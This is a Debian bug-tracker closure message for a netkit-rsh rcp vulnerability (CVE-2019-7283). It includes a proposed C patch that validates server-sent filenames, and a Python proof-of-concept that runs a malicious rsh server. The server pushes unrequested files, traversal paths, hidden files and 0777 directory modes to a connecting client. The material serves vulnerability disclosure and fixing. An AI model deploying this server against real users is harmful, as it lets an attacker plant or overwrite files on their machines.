[Date Prev][Date Next] [Thread Prev][Thread Next] [Date Index] [Thread Index]

Bug#1007246: marked as done (CVE-2019-7283)



Your message dated Wed, 31 Jan 2024 18:38:44 +0000
with message-id <[🔎] E1rVFTw-00GtFr-JD@fasolo.debian.org>
and subject line Bug#1041864: Removed package(s) from unstable
has caused the Debian Bug report #1007246,
regarding CVE-2019-7283
to be marked as done.

This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.

(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact owner@bugs.debian.org
immediately.)


-- 
1007246: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1007246
Debian Bug Tracking System
Contact owner@bugs.debian.org with problems
--- Begin Message ---
Package: netkit-rsh
Version: 0.17-22

The recommended patch for CVE-2019-7282 and CVE-2019-7283 supplied in the bug report #920486 (https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=920486) was insufficient.

The patch provided is only for CVE-2019-7282, which is associated with CVE-2018-20685 and that's exactly the solution of the patch for that CVE (https://security-tracker.debian.org/tracker/CVE-2018-20685).

The patch originally supplied for CVE-2019-6111 (the CVE associated with CVE-2019-7283) was also insufficient and was fixed afterward in the Openssh package (https://ubuntu.com/security/notices/USN-3885-2)

The issue affects all versions of the package netkit-rsh. A PoC is attached to check for CVE-2019-7283 which reports that the latest release version is also affected. It's meant to be executed with root privileges as it creates a temporary server listening on port 514. To run the tests, execute test-CVE-2019-7283.sh (CVE-2019-7823-poc.py is needed in the same directory for the bash script to run)

david@sec-jammy-amd64:~/poc$ apt list rsh-client
Listing... Done
rsh-client/jammy,now 0.17-22 amd64 [installed]
david@sec-jammy-amd64:~/poc$ ls
CVE-2019-7823-poc.py  test-CVE-2019-7283.sh
david@sec-jammy-amd64:~/poc$ rcp david@sec-jammy-amd64:testfile.txt .
david@sec-jammy-amd64:~/poc$ ls
CVE-2019-7823-poc.py  malicious.txt  
test-CVE-2019-7283.sh  testfile.txt
david@sec-jammy-amd64:~/poc$ sudo ./test-CVE-2019-7283.sh
FAILED test_several_files_CVE_2019_7283
OK test_lower_directory_CVE_2019_7283
OK test_upper_directory_CVE_2019_7283
FAILED test_hidden_file_CVE_2019_7283
FAILED test_other_file_CVE_2019_7283


A new patch is proposed. The patch was extracted and adapted from the revision performed over the CVE-2019-6111 patch (https://launchpad.net/ubuntu/+source/openssh/1:7.6p1-4ubuntu0.3). The patch was generated for version 0.17-21 but it can easily be applied to other versions as well.

The patch checks if the files requested by the user match the ones sent by the server. The revision includes the cases where shell parameter expansion is used. 

Description: [PATCH] CVE-2019-7283
 This patch is a fix for CVE-2019-7283. The proposed patch in #920486
 was insufficient. The code is extracted and adjusted from the patch
 applied in the OpenSSH package for CVE-2019-6111. The filenames sent 
 by the server are checked against the ones requested by the user. 
 This fix includes shell parameter expansion cases.
Author: David Fernandez Gonzalez <david.fernandezgonzalez@canonical.com>
Last-Update: 2022-03-14

--- netkit-rsh-0.17.orig/rcp/rcp.c
+++ netkit-rsh-0.17/rcp/rcp.c
@@ -57,6 +57,7 @@ char rcsid[] = "$Id: rcp.c,v 1.15 2000/0
 #include <netinet/ip.h>
 #include <dirent.h>
 #include <fcntl.h>
+#include <fnmatch.h>
 #include <signal.h>
 #include <pwd.h>
 #include <netdb.h>
@@ -95,7 +96,7 @@ static int okname(const char *cp0);
 static int susystem(const char *s);
 static void source(int argc, char *argv[]);
 static void rsource(char *name, struct stat64 *statp);
-static void sink(int argc, char *argv[]);
+static void sink(int argc, char *argv[], const char *src);
 static BUF *allocbuf(BUF *bp, int fd, int blksize);
 static void nospace(void);
 static void usage(void);
@@ -174,7 +175,7 @@ main(int argc, char *argv[])
 			fprintf(stderr, "rcp: setuid: %s\n", strerror(errno));
 			exit(1);
 		}
-		sink(argc, argv);
+		sink(argc, argv, NULL);
 		exit(errs);
 	}
 
@@ -204,6 +205,256 @@ main(int argc, char *argv[])
 	exit(errs);
 }
 
+
+/* Appends a string to an array; returns 0 on success, -1 on alloc failure */
+static int
+append(char *cp, char ***ap, size_t *np)
+{
+	char **tmp;
+
+	if ((tmp = reallocarray(*ap, *np + 1, sizeof(*tmp))) == NULL)
+		return -1;
+	tmp[(*np)] = cp;
+	(*np)++;
+	*ap = tmp;
+	return 0;
+}
+
+/*
+ * Finds the start and end of the first brace pair in the pattern.
+ * returns 0 on success or -1 for invalid patterns.
+ */
+static int
+find_brace(const char *pattern, int *startp, int *endp)
+{
+	int i;
+	int in_bracket, brace_level;
+
+	*startp = *endp = -1;
+	in_bracket = brace_level = 0;
+	for (i = 0; i < INT_MAX && *endp < 0 && pattern[i] != '\0'; i++) {
+		switch (pattern[i]) {
+		case '\\':
+			/* skip next character */
+			if (pattern[i + 1] != '\0')
+				i++;
+			break;
+		case '[':
+			in_bracket = 1;
+			break;
+		case ']':
+			in_bracket = 0;
+			break;
+		case '{':
+			if (in_bracket)
+				break;
+			if (pattern[i + 1] == '}') {
+				/* Protect a single {}, for find(1), like csh */
+				i++; /* skip */
+				break;
+			}
+			if (*startp == -1)
+				*startp = i;
+			brace_level++;
+			break;
+		case '}':
+			if (in_bracket)
+				break;
+			if (*startp < 0) {
+				/* Unbalanced brace */
+				return -1;
+			}
+			if (--brace_level <= 0)
+				*endp = i;
+			break;
+		}
+	}
+	/* unbalanced brackets/braces */
+	if (*endp < 0 && (*startp >= 0 || in_bracket))
+		return -1;
+	return 0;
+}
+
+/*
+ * Assembles and records a successfully-expanded pattern, returns -1 on
+ * alloc failure.
+ */
+static int
+emit_expansion(const char *pattern, int brace_start, int brace_end,
+    int sel_start, int sel_end, char ***patternsp, size_t *npatternsp)
+{
+	char *cp;
+	int o = 0, tail_len = strlen(pattern + brace_end + 1);
+
+	if ((cp = malloc(brace_start + (sel_end - sel_start) +
+	    tail_len + 1)) == NULL)
+		return -1;
+
+	/* Pattern before initial brace */
+	if (brace_start > 0) {
+		memcpy(cp, pattern, brace_start);
+		o = brace_start;
+	}
+	/* Current braced selection */
+	if (sel_end - sel_start > 0) {
+		memcpy(cp + o, pattern + sel_start,
+		    sel_end - sel_start);
+		o += sel_end - sel_start;
+	}
+	/* Remainder of pattern after closing brace */
+	if (tail_len > 0) {
+		memcpy(cp + o, pattern + brace_end + 1, tail_len);
+		o += tail_len;
+	}
+	cp[o] = '\0';
+	if (append(cp, patternsp, npatternsp) != 0) {
+		free(cp);
+		return -1;
+	}
+	return 0;
+}
+
+/*
+ * Expand the first encountered brace in pattern, appending the expanded
+ * patterns it yielded to the *patternsp array.
+ *
+ * Returns 0 on success or -1 on allocation failure.
+ *
+ * Signals whether expansion was performed via *expanded and whether
+ * pattern was invalid via *invalid.
+ */
+static int
+brace_expand_one(const char *pattern, char ***patternsp, size_t *npatternsp,
+    int *expanded, int *invalid)
+{
+	int i;
+	int in_bracket, brace_start, brace_end, brace_level;
+	int sel_start, sel_end;
+
+	*invalid = *expanded = 0;
+
+	if (find_brace(pattern, &brace_start, &brace_end) != 0) {
+		*invalid = 1;
+		return 0;
+	} else if (brace_start == -1)
+		return 0;
+
+	in_bracket = brace_level = 0;
+	for (i = sel_start = brace_start + 1; i < brace_end; i++) {
+		switch (pattern[i]) {
+		case '{':
+			if (in_bracket)
+				break;
+			brace_level++;
+			break;
+		case '}':
+			if (in_bracket)
+				break;
+			brace_level--;
+			break;
+		case '[':
+			in_bracket = 1;
+			break;
+		case ']':
+			in_bracket = 0;
+			break;
+		case '\\':
+			if (i < brace_end - 1)
+				i++; /* skip */
+			break;
+		}
+		if (pattern[i] == ',' || i == brace_end - 1) {
+			if (in_bracket || brace_level > 0)
+				continue;
+			/* End of a selection, emit an expanded pattern */
+
+			/* Adjust end index for last selection */
+			sel_end = (i == brace_end - 1) ? brace_end : i;
+			if (emit_expansion(pattern, brace_start, brace_end,
+			    sel_start, sel_end, patternsp, npatternsp) != 0)
+				return -1;
+			/* move on to the next selection */
+			sel_start = i + 1;
+			continue;
+		}
+	}
+	if (in_bracket || brace_level > 0) {
+		*invalid = 1;
+		return 0;
+	}
+	/* success */
+	*expanded = 1;
+	return 0;
+}
+
+/* Expand braces from pattern. Returns 0 on success, -1 on failure */
+static int
+brace_expand(const char *pattern, char ***patternsp, size_t *npatternsp)
+{
+	char *cp, *cp2, **active = NULL, **done = NULL;
+	size_t i, nactive = 0, ndone = 0;
+	int ret = -1, invalid = 0, expanded = 0;
+
+	*patternsp = NULL;
+	*npatternsp = 0;
+
+	/* Start the worklist with the original pattern */
+	if ((cp = strdup(pattern)) == NULL)
+		return -1;
+	if (append(cp, &active, &nactive) != 0) {
+		free(cp);
+		return -1;
+	}
+	while (nactive > 0) {
+		cp = active[nactive - 1];
+		nactive--;
+		if (brace_expand_one(cp, &active, &nactive,
+		    &expanded, &invalid) == -1) {
+			free(cp);
+			goto fail;
+		}
+		if (invalid) {
+			error("%s: invalid brace pattern \"%s\"", __func__, cp);
+			exit(1);
+		}
+		if (expanded) {
+			/*
+			 * Current entry expanded to new entries on the
+			 * active list; discard the progenitor pattern.
+			 */
+			free(cp);
+			continue;
+		}
+		/*
+		 * Pattern did not expand; append the finename component to
+		 * the completed list
+		 */
+		if ((cp2 = strrchr(cp, '/')) != NULL)
+			*cp2++ = '\0';
+		else
+			cp2 = cp;
+		if (append(strdup(cp2), &done, &ndone) != 0) {
+			free(cp);
+			goto fail;
+		}
+		free(cp);
+	}
+	/* success */
+	*patternsp = done;
+	*npatternsp = ndone;
+	done = NULL;
+	ndone = 0;
+	ret = 0;
+ fail:
+	for (i = 0; i < nactive; i++)
+		free(active[i]);
+	free(active);
+	for (i = 0; i < ndone; i++)
+		free(done[i]);
+	free(done);
+	return ret;
+}
+
 static void
 toremote(const char *targ, int argc, char *argv[])
 {
@@ -355,7 +606,7 @@ tolocal(int argc, char *argv[])
 		    (char *)&tos, sizeof(int)) < 0)
 			perror("rcp: setsockopt TOS (ignored)");
 #endif
-		sink(1, argv + argc - 1);
+		sink(1, argv + argc - 1, src);
 		(void)seteuid(0);
 		(void)close(rem);
 		rem = -1;
@@ -629,7 +880,7 @@ lostconn(int ignore)
 }
 
 static void
-sink(int argc, char *argv[])
+sink(int argc, char *argv[], const char *src)
 {
 	register char *cp;
 	static BUF buffer;
@@ -647,6 +898,8 @@ sink(int argc, char *argv[])
 	char *np, *vect[1], buf[BUFSIZ];
 	char *namebuf = NULL;
 	unsigned cursize = 0, nbase = 0;
+	char **patterns = NULL;
+	size_t n, npatterns = 0;
 
 #define	atime	tv[0]
 #define	mtime	tv[1]
@@ -666,12 +919,22 @@ sink(int argc, char *argv[])
 	(void)write(rem, "", 1);
 	if (stat64(targ, &stb) == 0 && (stb.st_mode & S_IFMT) == S_IFDIR)
 		targisdir = 1;
+	if (src != NULL && !iamrecursive) {
+		/*
+		 * Prepare to try to restrict incoming filenames to match
+		 * the requested destination file glob.
+		 */
+		if (brace_expand(src, &patterns, &npatterns) != 0) {
+			error("%s: could not expand pattern", __func__);
+			exit(1);
+		}
+	}
 	for (first = 1;; first = 0) {
 		cp = buf;
 		if (read(rem, cp, 1) <= 0) {
 			if (namebuf)
 				free(namebuf);
-			return;
+			goto done;
 		}
 		if (*cp++ == '\n')
 			SCREWUP("unexpected <newline>");
@@ -752,6 +1015,14 @@ sink(int argc, char *argv[])
 			error("error: unexpected filename: %s", cp);
 			exit(1);
 		}
+		if (npatterns > 0) {
+			for (n = 0; n < npatterns; n++) {
+				if (fnmatch(patterns[n], cp, 0) == 0)
+					break;
+			}
+			if (n >= npatterns)
+				SCREWUP("filename does not match request");
+		}
 		if (targisdir) {
 			char *newbuf;
 			int need = strlen(targ) + strlen(cp) + 2;
@@ -791,7 +1062,7 @@ sink(int argc, char *argv[])
 			} else if (mkdir(np, mode) < 0)
 				goto bad;
 			vect[0] = np;
-			sink(1, vect);
+			sink(1, vect, src);
 			if (setimes) {
 				setimes = 0;
 				if (utimes(np, tv) < 0)
@@ -867,7 +1138,15 @@ bad:			error("rcp: %s: %s\n", np, strerr
 			break;
 		}
 	}
+done:
+	for (n = 0; n < npatterns; n++)
+		free(patterns[n]);
+	free(patterns);
+	return;
 screwup:
+	for (n = 0; n < npatterns; n++)
+		free(patterns[n]);
+	free(patterns);
 	error("rcp: protocol screwup: %s\n", why);
 	exit(1);
 }
#
#  David Fernandez Gonzalez: david.fernandezgonzalez@canonical.com
#
import socket
import sys

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
well_known_port = 514
sock.bind(('0.0.0.0', well_known_port))
sock.listen(1)

def read_intro(socket):
    while True:
        data = socket.recv(1024)
        if b'rcp' in data:
            break

def send_file(socket, filename, filesize, data):
    socket.send(b'\x00')
    socket.send(b'C0664 %b %b\n' % (filesize.encode(), filename.encode()))
    socket.recv(1)
    socket.send(b'%b\n' % data.encode())
    socket.send(b'\x00')
    socket.recv(1)

def init_socket():
    socket, _ = sock.accept(  )
    return socket

def close_socket(socket):
    socket.shutdown(1)
    socket.close()

def case_other_file_CVE_2019_7283():
    newSocket = init_socket()
    read_intro(newSocket)

    send_file(newSocket, 'malicious.txt', '6', 'evil')

    newSocket.send(b'\x00')
    newSocket.recv(1024)

    close_socket(newSocket)

def case_several_files_CVE_2019_7283():
    newSocket = init_socket()
    read_intro(newSocket)


    send_file(newSocket, 'testfile.txt', '6', 'test')
    send_file(newSocket, 'malicious.txt', '6', 'evil')

    newSocket.send(b'\x00')
    newSocket.recv(1024)

    close_socket(newSocket)

def case_lower_directory_CVE_2019_7283():
    newSocket = init_socket()
    read_intro(newSocket)


    send_file(newSocket, '../testfile.txt', '6', 'test')

    newSocket.send(b'\x00')
    newSocket.recv(1024)

    close_socket(newSocket)

def case_change_permissions_CVE_2019_7282():
    newSocket = init_socket()
    read_intro(newSocket)

    newSocket.send(b'\x00')
    newSocket.send(b'D0777 0 \n')
    newSocket.recv(1)
    newSocket.send(b'\n')
    newSocket.send(b'\x00')
    newSocket.recv(1)

    newSocket.send(b'\x00')
    newSocket.recv(1024)

    close_socket(newSocket)

def case_change_permissions_current_folder_CVE_2019_7282():
    newSocket = init_socket()
    read_intro(newSocket)

    newSocket.send(b'\x00')
    newSocket.send(b'D0777 0 .\n')
    newSocket.recv(1)
    newSocket.send(b'\n')
    newSocket.send(b'\x00')
    newSocket.recv(1)

    newSocket.send(b'\x00')
    newSocket.recv(1024)

    close_socket(newSocket)

def case_change_permissions_lower_folder_CVE_2019_7282():
    newSocket = init_socket()
    read_intro(newSocket)

    newSocket.send(b'\x00')
    newSocket.send(b'D0777 0 ..\n')
    newSocket.recv(1)
    newSocket.send(b'\n')
    newSocket.send(b'\x00')
    newSocket.recv(1)

    newSocket.send(b'\x00')
    newSocket.recv(1024)

    close_socket(newSocket)

def case_upper_directory_CVE_2019_7283():
    newSocket = init_socket()
    read_intro(newSocket)

    send_file(newSocket, 'test/testfile.txt', '6', 'test')

    newSocket.send(b'\x00')
    newSocket.recv(1024)

    close_socket(newSocket)

def case_hidden_file_CVE_2019_7283():
    newSocket = init_socket()
    read_intro(newSocket)

    send_file(newSocket, '.test', '6', 'test')

    newSocket.send(b'\x00')
    newSocket.recv(1024)

    close_socket(newSocket)

if (len(sys.argv) == 1):
    print('Select test number')
    sys.exit(1)

if (int(sys.argv[1]) == 0):
    case_several_files_CVE_2019_7283()
elif (int(sys.argv[1]) == 1):
    case_lower_directory_CVE_2019_7283()
elif (int(sys.argv[1]) == 2):
    case_upper_directory_CVE_2019_7283()
elif (int(sys.argv[1]) == 3):
    case_hidden_file_CVE_2019_7283()
elif (int(sys.argv[1]) == 4):
    case_other_file_CVE_2019_7283()
elif (int(sys.argv[1]) == 5):
    case_change_permissions_CVE_2019_7282()
elif (int(sys.argv[1]) == 6):
    case_change_permissions_current_folder_CVE_2019_7282()
elif (int(sys.argv[1]) == 7):
    case_change_permissions_lower_folder_CVE_2019_7282()

sock.close()

Attachment: test-CVE-2019-7283.sh
Description: application/shellscript


--- End Message ---
--- Begin Message ---
Version: 0.17-24+rm

Dear submitter,

as the package netkit-rsh has just been removed from the Debian archive
unstable we hereby close the associated bug reports.  We are sorry
that we couldn't deal with your issue properly.

For details on the removal, please see https://bugs.debian.org/1041864

The version of this package that was in Debian prior to this removal
can still be found using https://snapshot.debian.org/.

Please note that the changes have been done on the master archive and
will not propagate to any mirrors until the next dinstall run at the
earliest.

This message was generated automatically; if you believe that there is
a problem with it please contact the archive administrators by mailing
ftpmaster@ftp-master.debian.org.

Debian distribution maintenance software
pp.
Thorsten Alteholz (the ftpmaster behind the curtain)

--- End Message ---

Reply to: